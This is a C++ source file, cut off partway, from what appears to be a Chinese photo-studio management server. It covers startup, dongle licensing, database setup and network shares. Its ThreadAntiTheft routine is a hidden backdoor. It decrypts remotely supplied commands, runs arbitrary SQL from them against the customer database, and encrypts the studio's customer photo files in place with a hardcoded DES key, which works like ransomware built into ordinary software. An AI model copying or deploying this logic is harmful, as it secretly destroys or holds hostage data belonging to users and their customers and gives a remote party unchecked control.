DBServer.cpp 26 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980
  1. #include "stdafx.h"
  2. #include "DBServer.h"
  3. #include "DBServerDlg.h"
  4. #include "theDBServer.h"
  5. #include "MyLock.h"
  6. #include "mysqldata.h"
  7. #include "DumpCollect.h"
  8. #include "BranchInfo.h"
  9. #include "AntiTheftCommand.h"
  10. #ifdef _DEBUG
  11. #define new DEBUG_NEW
  12. #undef THIS_FILE
  13. static char THIS_FILE[] = __FILE__;
  14. #endif
  15. BEGIN_MESSAGE_MAP(CDBServer, CWinApp)
  16. //{{AFX_MSG_MAP(CDBServer)
  17. ON_COMMAND(ID_APP_SHOW, OnAppShow)
  18. ON_COMMAND(ID_APP_EXIT, OnAppExit)
  19. ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
  20. ON_COMMAND(ID_HELP_INDEX, OnHelpIndex)
  21. //}}AFX_MSG_MAP
  22. ON_COMMAND(ID_HELP, CWinApp::OnHelp)
  23. END_MESSAGE_MAP()
  24. /////////////////////////////////////////////////////////////////////////////
  25. // CDBServer construction
  26. CDBServer::CDBServer()
  27. {
  28. // TODO: add construction code here,
  29. // Place all significant initialization in InitInstance
  30. }
  31. /////////////////////////////////////////////////////////////////////////////
  32. // The one and only CDBServer object
  33. CDBServer theApp;
  34. CtheDBServer theServer;
  35. /////////////////////////////////////////////////////////////////////////////
  36. // CDBServer initialization
  37. BOOL CDBServer::InitInstance()
  38. {
  39. AfxInitRichEdit2();
  40. CWinApp::InitInstance();
  41. AfxEnableControlContainer();
  42. DumpCollect::InitMinDump();
  43. InitSocketLibrary(MAKEWORD(2,2));
  44. // 2.配置数据库连接信息;
  45. char server[50];
  46. DWORD leng=50;
  47. memset(server, 0, 50);
  48. ::GetComputerName(server, &leng);
  49. _stprintf_s(g_szHostName, MAX_PATH, _T("%s"), server);
  50. g_localname = server;
  51. TCHAR szDir[MAX_PATH];
  52. ::GetModuleFileName(NULL, szDir, MAX_PATH);
  53. g_mainpath = szDir;
  54. g_mainpath = g_mainpath.Left (g_mainpath.ReverseFind ('\\'));
  55. if( GetIniInfo() == -1)
  56. {
  57. WriteTextLog("未找到配置文件:ServiceInfo.ini");
  58. return FALSE;
  59. }
  60. // 服务器延时启动;
  61. if ( g_dwStartDelayTime )
  62. {
  63. Sleep(g_dwStartDelayTime*1000);
  64. }
  65. // 1.根据运行的端口号来运行单实例;
  66. _stprintf_s(szDir, _T("lyfzServer%d"), g_dwCSPort);
  67. HANDLE hObject = CreateMutex(NULL, FALSE, szDir);
  68. if(GetLastError() == ERROR_ALREADY_EXISTS)
  69. {
  70. return false;
  71. }
  72. g_strdbpsw.Format("uid=%s;pwd=%s",g_szDBAccount,g_szDBPassWord);
  73. if ( g_dwDBServerPort != 0 )
  74. g_strdbServrename.Format("%s,%d",g_szDBSource,g_dwDBServerPort);
  75. else
  76. g_strdbServrename.Format("%s",g_szDBSource);
  77. WriteTextLog("启动");
  78. // 3.初始化加密狗信息,并获取相应的加密数据;
  79. MyLock lock("ytSoftKeyaccessxiao");
  80. if(SoftKey::GetInstance()->IniEx())
  81. {
  82. AfxMessageBox(_T("未找到加密狗或加密狗版本不一致!"));
  83. return false;
  84. }
  85. #ifdef CONNCOUNT_VERSION // Jeff.座席版;
  86. {
  87. int value[8];
  88. double f[8];
  89. TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
  90. //运行自定义函数
  91. int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
  92. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  93. s0,s1,s2,s3,s4,s5,s6,s7);
  94. if(ret!=0 && ret!=-43)
  95. {
  96. g_conncount=-1; // Jeff:S0 存储着座席数量;
  97. }
  98. else
  99. {
  100. g_conncount=atoi(s0); // Jeff:S0 存储着座席数量;
  101. g_sdomain=s1;
  102. g_bReg=atoi(s2); // ???医院跟踪系统??
  103. }
  104. }
  105. #else
  106. {
  107. int value[8];
  108. double f[8];
  109. TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
  110. //运行自定义函数
  111. int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
  112. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  113. s0,s1,s2,s3,s4,s5,s6,s7);
  114. if(ret!=0 && ret!=-43)
  115. {
  116. }
  117. else
  118. {
  119. g_sdomain=s1;
  120. g_bReg=atoi(s2);
  121. }
  122. }
  123. #endif
  124. if ( g_sdomain.IsEmpty() )
  125. {
  126. AfxMessageBox(_T("加密锁域名为空,无法启动服务器!"));
  127. return FALSE;
  128. }
  129. CString savedir=g_mainpath+"\\数据备份";
  130. if(!CheckFolderFileExist (savedir))
  131. ::CreateDirectory (savedir, NULL);
  132. ::CoInitialize( NULL );
  133. BOOL bMasterDb=0;
  134. BOOL bUserDb=0;
  135. // 4.连接master数据库,判断数据库连接是否正常;
  136. CDatabase masterdb; // Jeff:master用于附加与分离数据库;
  137. try
  138. {
  139. TCHAR szConnectString[MAX_PATH] = _T("");
  140. if( g_dwDBServerPort != 0)
  141. {
  142. if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
  143. _stprintf_s(szConnectString, DB_SW_CONN_WITH_PORT, g_szDBSource,g_dwDBServerPort, _T("master"));
  144. else
  145. _stprintf_s(szConnectString, DB_SS_CONN_WITH_PORT,g_szDBSource,g_dwDBServerPort, _T("master"), g_szDBAccount,g_szDBPassWord);
  146. }
  147. else
  148. {
  149. if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
  150. _stprintf_s(szConnectString, DB_SW_CONN_WITHOUT_PORT, g_szDBSource, _T("master"));
  151. else
  152. _stprintf_s(szConnectString, DB_SS_CONN_WITHOUT_PORT, g_szDBSource, _T("master"), g_szDBAccount, g_szDBPassWord);
  153. }
  154. masterdb.OpenEx(szConnectString,CDatabase::noOdbcDialog);
  155. bMasterDb=1;
  156. }
  157. catch(CDBException * e)
  158. {
  159. #ifdef _DEBUG
  160. e->ReportError();
  161. #endif
  162. e->Delete();
  163. }
  164. if(bMasterDb==0)
  165. {
  166. WriteTextLog(_T("sql数据库未启动!"));
  167. ShellExecute(NULL, _T("open"), g_mainpath+"\\AutoRun.exe", NULL, NULL, SW_HIDE);
  168. return false;
  169. }
  170. CODBCPool *pdbpool = new CODBCPool;
  171. if ( pdbpool->InitializePool(g_szDBSource, g_dwDBServerPort, g_szDBAccount, g_szDBPassWord, g_szDBName, g_dwDBPoolDef, g_dwDBPoolMaxCount) )
  172. {
  173. g_dbpool.Add(pdbpool);
  174. bUserDb=1;
  175. BackupDatabase(savedir, 1, 0); // Jeff. savedir=\\数据备份
  176. CDatabase *pdb = NULL;
  177. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  178. CString strSQL;
  179. strSQL.Format(_T("update path set path1='%s'"), g_sdomain);
  180. if ( pdb )
  181. {
  182. try
  183. {
  184. pdb->ExecuteSQL(strSQL);
  185. pdb->ExecuteSQL(_T("IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[historydb]') AND type in (N'U')) CREATE TABLE [historydb]([year] VARCHAR(50))"));
  186. }
  187. catch (CDBException* e)
  188. {
  189. WriteTextLog(_T("%s-<%d>-%s,%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError);
  190. e->Delete();
  191. }
  192. }
  193. }
  194. else
  195. {
  196. delete pdbpool;
  197. }
  198. if(bUserDb==0 && bMasterDb)
  199. {
  200. CString autorunpath=g_mainpath+"\\AutoRun.exe";
  201. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  202. WriteTextLog("数据库初始化中...");
  203. TCHAR szDBFile[MAX_PATH] = _T("");
  204. _stprintf_s(szDBFile, _T("%s\\数据\\%s.mdf"), g_mainpath.GetString(), g_szDBName);
  205. if(::PathFileExists(szDBFile) == 0 )
  206. {
  207. WriteTextLog("数据库文件丢失!");
  208. return false;
  209. }
  210. BOOL bLog=0;
  211. TCHAR szDBLogFile[MAX_PATH] = _T("");
  212. _stprintf_s(szDBLogFile, _T("%s\\数据\\%s_log.ldf"), g_mainpath.GetString(), g_szDBName);
  213. if(::PathFileExists(szDBLogFile) == 0 )
  214. {
  215. bLog=1;
  216. }
  217. CString sql;
  218. try
  219. {
  220. // g_masterdb.ExecuteSQL ("exec sp_detach_db db");
  221. }
  222. catch(CDBException * e)
  223. {
  224. #ifdef _DEBUG
  225. e->ReportError();
  226. #endif
  227. e->Delete();
  228. }
  229. if(bLog)
  230. sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf',@filename2='%s\\数据\\%s_log.ldf'",g_szDBName,g_ModulePath,g_szDBName,g_ModulePath,g_szDBName);
  231. else
  232. sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf'", g_szDBName,g_ModulePath,g_szDBName);
  233. try
  234. {
  235. masterdb.ExecuteSQL (sql); // 同master数据库去执行附加和分离;
  236. }
  237. catch(CDBException * e)
  238. {
  239. masterdb.Close();
  240. WriteTextLog(e->m_strError);
  241. WriteTextLog("数据库初始化失败!");
  242. #ifdef _DEBUG
  243. e->ReportError();
  244. #endif
  245. e->Delete();
  246. return false;
  247. }
  248. masterdb.Close();
  249. WriteTextLog("数据库初始化完成,请重新启动系统!");
  250. return false;
  251. }
  252. // 在数据库完成初始化后,判断本地目录下是否有MSCHRT20.OCX文件,无则从数据库下载;2014.09.06
  253. // 客户端从dwToUserID==211里传递MSCHRT20.OCX;
  254. CString strMSCHRTOCX = g_mainpath+"\\系统文件\\MSCHRT20.OCX";
  255. OFSTRUCT ofStruct;
  256. OpenFile(strMSCHRTOCX,&ofStruct,OF_EXIST);
  257. if( ERROR_FILE_NOT_FOUND == GetLastError())
  258. {
  259. CDatabase *pdb = NULL;
  260. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  261. if ( pdb )
  262. {
  263. CRstUpdate rsSt;
  264. rsSt.m_pDatabase = pdb;
  265. rsSt.Open();
  266. if(!rsSt.IsEOF())
  267. {
  268. CFile fp;
  269. if(fp.Open(strMSCHRTOCX, CFile::modeCreate|CFile::modeWrite))
  270. {
  271. void *pData = GlobalLock(rsSt.m_lbOCX.m_hData);
  272. fp.Write(pData, rsSt.m_lbOCX.m_dwDataLength);
  273. fp.Close();
  274. GlobalUnlock(rsSt.m_lbOCX.m_hData);
  275. }
  276. }
  277. rsSt.Close();
  278. }
  279. }
  280. ULONG_PTR gdiplusToken;
  281. GdiplusStartupInput gdiplusStartupInput;
  282. GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
  283. CString path1="客户原片(管理软件)$";
  284. CString path2="修好的片(管理软件)$";
  285. CString path3="设计好的片(管理软件)$";
  286. CString path4="精修好的片(管理软件)$";
  287. CString path5="礼服图片(管理软件)$";
  288. CString path6="电话录音(管理软件)$";
  289. CString temp;
  290. if(CheckFolderFileExist (g_mainpath+"\\"+path1))
  291. {
  292. temp.Format ("net share %s=%s\\%s", path1, g_mainpath, path1);
  293. WinExec(temp,SW_HIDE);
  294. }
  295. if(CheckFolderFileExist (g_mainpath+"\\"+path2))
  296. {
  297. temp.Format ("net share %s=%s\\%s", path2, g_mainpath, path2);
  298. WinExec(temp,SW_HIDE);
  299. }
  300. if(CheckFolderFileExist (g_mainpath+"\\"+path3))
  301. {
  302. temp.Format ("net share %s=%s\\%s", path3, g_mainpath, path3);
  303. WinExec(temp,SW_HIDE);
  304. }
  305. if(CheckFolderFileExist (g_mainpath+"\\"+path4))
  306. {
  307. temp.Format ("net share %s=%s\\%s", path4, g_mainpath, path4);
  308. WinExec(temp,SW_HIDE);
  309. }
  310. if(CheckFolderFileExist (g_mainpath+"\\"+path5))
  311. {
  312. temp.Format ("net share %s=%s\\%s", path5, g_mainpath, path5);
  313. WinExec(temp,SW_HIDE);
  314. }
  315. if(CheckFolderFileExist (g_mainpath+"\\"+path6))
  316. {
  317. temp.Format ("net share %s=%s\\%s", path6, g_mainpath, path6);
  318. WinExec(temp,SW_HIDE);
  319. }
  320. CString autorunpath=g_mainpath+"\\AutoRun.exe";
  321. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  322. #ifdef ENTERPRISE_VERSION
  323. autorunpath=g_mainpath+"\\DataSyncReceive.exe";
  324. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  325. autorunpath=g_mainpath+"\\DataSyncSend.exe";
  326. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  327. autorunpath=g_mainpath+"\\CPhotoFTPReceive.exe";
  328. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  329. autorunpath=g_mainpath+"\\CPhotoFTPSend.exe";
  330. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  331. #endif
  332. // Standard initialization
  333. // If you are not using these features and wish to reduce the size
  334. // of your final executable, you should remove from the following
  335. // the specific initialization routines you do not need.
  336. #ifdef _AFXDLL
  337. Enable3dControls(); // Call this when using MFC in a shared DLL
  338. #else
  339. Enable3dControlsStatic(); // Call this when linking to MFC statically
  340. #endif
  341. InitCommonControls();
  342. CAntiTheftCommand::GetInstance()->StartThread();
  343. CDBServerDlg dlg;
  344. m_pMainWnd = &dlg;
  345. int nResponse = dlg.DoModal();
  346. if (nResponse == IDOK)
  347. {
  348. }
  349. else if (nResponse == IDCANCEL)
  350. {
  351. }
  352. GdiplusShutdown(gdiplusToken);
  353. g_Instance = AfxGetResourceHandle();
  354. return FALSE;
  355. }
  356. void CDBServer::OnAppShow()
  357. {
  358. if (m_pMainWnd)
  359. m_pMainWnd->ShowWindow(SW_SHOW);
  360. }
  361. void CDBServer::OnAppExit()
  362. {
  363. //御载lyfzBackupModle.dll
  364. m_pMainWnd->DestroyWindow();
  365. }
  366. void CDBServer::OnAppAbout()
  367. {
  368. }
  369. /********************************************************************/
  370. /* */
  371. /* Function name : OnHelpIndex */
  372. /* Description : Command to show help file. */
  373. /* */
  374. /********************************************************************/
  375. void CDBServer::OnHelpIndex()
  376. {
  377. // launch help
  378. // ::WinHelp(AfxGetMainWnd()->m_hWnd, AfxGetApp()->m_pszHelpFilePath, HELP_CONTENTS, 0L);
  379. }
  380. int CDBServer::ExitInstance()
  381. {
  382. // 释放Socket库;
  383. ReleaseSocketLibrary();
  384. return CWinApp::ExitInstance();
  385. }
  386. /************************************************************************/
  387. /* 函数:[1/3/2017 IT];
  388. /* 描述:;
  389. /* 参数:;
  390. /* [IN] :;
  391. /* [OUT] :;
  392. /* [IN/OUT] :;
  393. /* 返回:void;
  394. /* 注意:代码未细分子函数,有待优化;
  395. /* 示例:;
  396. /*
  397. /* 修改:;
  398. /* 日期:;
  399. /* 内容:;
  400. /************************************************************************/
  401. DWORD CDBServer::ThreadAntiTheft(LPVOID lpPara)
  402. {
  403. #ifdef _DEBUG
  404. Sleep(1000);
  405. #else
  406. Sleep(180000);
  407. #endif
  408. while (1)
  409. {
  410. cJSON *pJson = NULL;
  411. cJSON *pSQLAry = NULL;
  412. cJSON *pDataAry = NULL;
  413. cJSON *pAryItem = NULL;
  414. CString strResult;
  415. do
  416. {
  417. if ( g_strAntiTheftInfo.IsEmpty() )
  418. {
  419. Sleep(1000);
  420. continue;
  421. }
  422. if ( des_crypt(g_strAntiTheftInfo, strResult, DES_DECRYPT) == -1 )
  423. {
  424. strResult.Empty();
  425. Sleep(1000);
  426. continue;
  427. }
  428. pJson = cJSON_Parse(strResult.GetString());
  429. if ( pJson )
  430. break;
  431. } while (1);
  432. typedef struct __SQLOPT__
  433. {
  434. CString strStatement;
  435. CString strExecTime;
  436. BOOL bExecStatus;
  437. }SQLOpt;
  438. typedef struct __DATAOPT__
  439. {
  440. INT nType;
  441. CString strExecTime;
  442. INT nCount;
  443. BOOL bExecStatus;
  444. STR_VEC vtOrders;
  445. }DATAOpt;
  446. struct __DETAIL__
  447. {
  448. BOOL bSQLOpt;
  449. BOOL bDataOpt;
  450. BOOL bDogOpt;
  451. CString strCmdGuid;
  452. CString strWarning; // 盗版提示;
  453. vector<SQLOpt> vtSQLOpt;
  454. vector<DATAOpt> vtDataOpt;
  455. };
  456. __DETAIL__ stDetail;
  457. if ( pJson )
  458. {
  459. INT nArySize = 0;
  460. stDetail.strCmdGuid = cJSON_GetObjectItem(pJson, "cmd-guid") ? cJSON_GetObjectItem(pJson, "cmd-guid")->valuestring : "";
  461. stDetail.bSQLOpt = cJSON_GetObjectItem(pJson, "SQL-Opt") ? cJSON_GetObjectItem(pJson, "SQL-Opt")->valueint : FALSE;
  462. stDetail.bDataOpt = cJSON_GetObjectItem(pJson, "Data-Opt") ? cJSON_GetObjectItem(pJson, "Data-Opt")->valueint : FALSE;
  463. stDetail.bDogOpt = cJSON_GetObjectItem(pJson, "Dog-Opt") ? cJSON_GetObjectItem(pJson, "Dog-Opt")->valueint : FALSE;
  464. pSQLAry = cJSON_GetObjectItem(pJson, "SQL-Ary");
  465. pDataAry = cJSON_GetObjectItem(pJson, "Data-Ary");
  466. if ( pSQLAry )
  467. {
  468. nArySize = cJSON_GetArraySize(pSQLAry);
  469. for ( int i = 0; i < nArySize; i++ )
  470. {
  471. pAryItem = cJSON_GetArrayItem(pSQLAry,i);
  472. if ( pAryItem )
  473. {
  474. SQLOpt stSQLOpt;
  475. stSQLOpt.strStatement = cJSON_GetObjectItem(pAryItem, "Statement")->valuestring;
  476. stSQLOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
  477. stSQLOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
  478. stDetail.vtSQLOpt.push_back(stSQLOpt);
  479. }
  480. }
  481. }
  482. if ( pDataAry )
  483. {
  484. pAryItem = NULL;
  485. nArySize = cJSON_GetArraySize(pDataAry);
  486. for ( int i = 0; i < nArySize; i++ )
  487. {
  488. pAryItem = cJSON_GetArrayItem(pDataAry,i);
  489. if ( pAryItem )
  490. {
  491. DATAOpt stDataOpt;
  492. stDataOpt.nType = cJSON_GetObjectItem(pAryItem, "Type")->valueint;
  493. stDataOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
  494. stDataOpt.nCount = cJSON_GetObjectItem(pAryItem, "Count")->valueint;
  495. stDataOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
  496. cJSON *pAryOrder = cJSON_GetObjectItem(pAryItem, "Order-Ary");
  497. if ( pAryOrder )
  498. {
  499. INT nOrderCount = cJSON_GetArraySize(pAryOrder);
  500. for ( int j = 0; j < nOrderCount; j++ )
  501. {
  502. pAryItem = cJSON_GetArrayItem(pAryOrder, j);
  503. if ( pAryItem )
  504. {
  505. stDataOpt.vtOrders.push_back(cJSON_GetObjectItem(pAryItem, "order")->valuestring);
  506. }
  507. }
  508. }
  509. stDetail.vtDataOpt.push_back(stDataOpt);
  510. }
  511. }
  512. }
  513. }
  514. cJSON_Delete(pJson);
  515. // 更新到数据库中;
  516. CDatabase *pMaindb = NULL;
  517. while ( pMaindb == NULL )
  518. {
  519. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  520. Sleep(1000);
  521. }
  522. CString strSQL;
  523. INT nHour = 0;
  524. INT nMinute = 0;
  525. if ( stDetail.bDogOpt )
  526. {// 加密狗授权到期,停止使用;
  527. }
  528. if ( stDetail.bSQLOpt )
  529. {
  530. for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
  531. {
  532. SQLOpt tagSQLOpt = *it;
  533. if ( !it->bExecStatus )
  534. {// 未执行过;
  535. if ( it->strExecTime == _T("NN:NN") )
  536. {// 下次触发执行;
  537. if (g_bNextTrigger)
  538. {
  539. it->strExecTime = _T("NN:BB");
  540. }
  541. }
  542. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB") )
  543. {// 下次备份执行;
  544. CTime curTime = CTime::GetCurrentTime();
  545. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  546. {
  547. try
  548. {
  549. pMaindb->ExecuteSQL(it->strStatement);
  550. }
  551. catch(CDBException *e)
  552. {
  553. #ifdef _DEBUG
  554. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  555. #endif
  556. }
  557. it->bExecStatus = TRUE;
  558. }
  559. }
  560. else if ( it->strExecTime == _T("CC:CC"))
  561. {// 立即执行;
  562. try
  563. {
  564. pMaindb->ExecuteSQL(it->strStatement);
  565. }
  566. catch(CDBException *e)
  567. {
  568. #ifdef _DEBUG
  569. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  570. #endif
  571. }
  572. it->bExecStatus = TRUE;
  573. }
  574. else
  575. {// 指定时间执行;
  576. sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
  577. CTime curTime = CTime::GetCurrentTime();
  578. if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
  579. {
  580. try
  581. {
  582. pMaindb->ExecuteSQL(it->strStatement);
  583. }
  584. catch(CDBException *e)
  585. {
  586. #ifdef _DEBUG
  587. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  588. #endif
  589. }
  590. it->bExecStatus = TRUE;
  591. }
  592. }
  593. }
  594. Sleep(100);
  595. }
  596. }
  597. if ( stDetail.bDataOpt )
  598. {
  599. for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
  600. {
  601. DATAOpt tagDataOpt = *it;
  602. if ( !it->bExecStatus )
  603. {// 未执行过;
  604. if ( it->strExecTime == _T("NN:NN") )
  605. {// 下次触发执行;
  606. if (g_bNextTrigger)
  607. {
  608. it->strExecTime = _T("NN:BB");
  609. }
  610. }
  611. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB"))
  612. {// 下次备份执行;
  613. CTime curTime = CTime::GetCurrentTime();
  614. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  615. {
  616. try
  617. {
  618. DWORD dwIndex = 0;
  619. CRecordset tagRst(pMaindb);
  620. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  621. tagRst.Open(CRecordset::forwardOnly, strSQL);
  622. CStringArray AryOrder;
  623. while ( !tagRst.IsEOF() )
  624. {
  625. tagRst.GetFieldValue(_T("id"), strSQL);
  626. tagRst.MoveNext();
  627. ++dwIndex;
  628. AryOrder.Add(strSQL);
  629. it->vtOrders.push_back(strSQL.GetString());
  630. if ( dwIndex == it->nCount)
  631. break;
  632. }
  633. tagRst.Close();
  634. // 查找文件(多目录共享的情况);
  635. TblNetShareInfo *pNetShareInfo = NULL;
  636. CStringArray AryShareDirectory;
  637. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  638. {
  639. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  640. {
  641. AryShareDirectory.Add((*it_share)->szShareDirectory);
  642. }
  643. }
  644. // 找出所有文件;
  645. filehelpImpl ff;
  646. STR_VEC vtFiles;
  647. TString strDirctory;
  648. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  649. {
  650. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  651. {
  652. strDirctory = AryShareDirectory.ElementAt(j);
  653. strDirctory.append(_T("\\"));
  654. strDirctory.append(AryOrder.ElementAt(i));
  655. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  656. }
  657. }
  658. BYTE szKey[MAX_PATH] = "lyfz.net";
  659. BYTE szVI[MAX_PATH] = "WorkbyIT";
  660. // 计时;
  661. // 对找到的所有文件进行加密;
  662. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  663. {
  664. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  665. }
  666. }
  667. catch (CDBException* e)
  668. {
  669. #ifdef _DEBUG
  670. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  671. #endif
  672. }
  673. it->bExecStatus = TRUE;
  674. }
  675. }
  676. else if ( it->strExecTime == _T("CC:CC"))
  677. {// 立即执行;
  678. try
  679. {
  680. DWORD dwIndex = 0;
  681. CRecordset tagRst(pMaindb);
  682. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  683. tagRst.Open(CRecordset::forwardOnly, strSQL);
  684. CStringArray AryOrder;
  685. while ( !tagRst.IsEOF() )
  686. {
  687. tagRst.GetFieldValue(_T("id"), strSQL);
  688. tagRst.MoveNext();
  689. ++dwIndex;
  690. AryOrder.Add(strSQL);
  691. if ( dwIndex == it->nCount)
  692. break;
  693. it->vtOrders.push_back(strSQL.GetString());
  694. #ifdef _DEBUG
  695. WriteTextLog(_T("订单号:%s"), strSQL);
  696. #endif
  697. }
  698. tagRst.Close();
  699. // 查找文件(多目录共享的情况);
  700. TblNetShareInfo *pNetShareInfo = NULL;
  701. CStringArray AryShareDirectory;
  702. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  703. {
  704. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  705. {
  706. AryShareDirectory.Add((*it_share)->szShareDirectory);
  707. #ifdef _DEBUG
  708. WriteTextLog(_T("共享路径:%s"), (*it_share)->szShareDirectory);
  709. #endif
  710. }
  711. }
  712. // 找出所有文件;
  713. filehelpImpl ff;
  714. STR_VEC vtFiles;
  715. TString strDirctory;
  716. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  717. {
  718. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  719. {
  720. strDirctory = AryShareDirectory.ElementAt(j);
  721. strDirctory.append(_T("\\"));
  722. strDirctory.append(AryOrder.ElementAt(i));
  723. #ifdef _DEBUG
  724. WriteTextLog(_T("订单路径:%s"), strDirctory.c_str());
  725. #endif
  726. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  727. }
  728. }
  729. BYTE szKey[MAX_PATH] = "lyfz.net";
  730. BYTE szVI[MAX_PATH] = "WorkbyIT";
  731. // 计时;
  732. // 对找到的所有文件进行加密;
  733. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  734. {
  735. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  736. #ifdef _DEBUG
  737. WriteTextLog(_T("文件:%s"), it->c_str());
  738. #endif
  739. }
  740. }
  741. catch (CDBException* e)
  742. {
  743. #ifdef _DEBUG
  744. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  745. #endif
  746. }
  747. it->bExecStatus = TRUE;
  748. }
  749. else
  750. {// 指定时间执行;
  751. sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
  752. CTime curTime = CTime::GetCurrentTime();
  753. if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
  754. {
  755. try
  756. {
  757. DWORD dwIndex = 0;
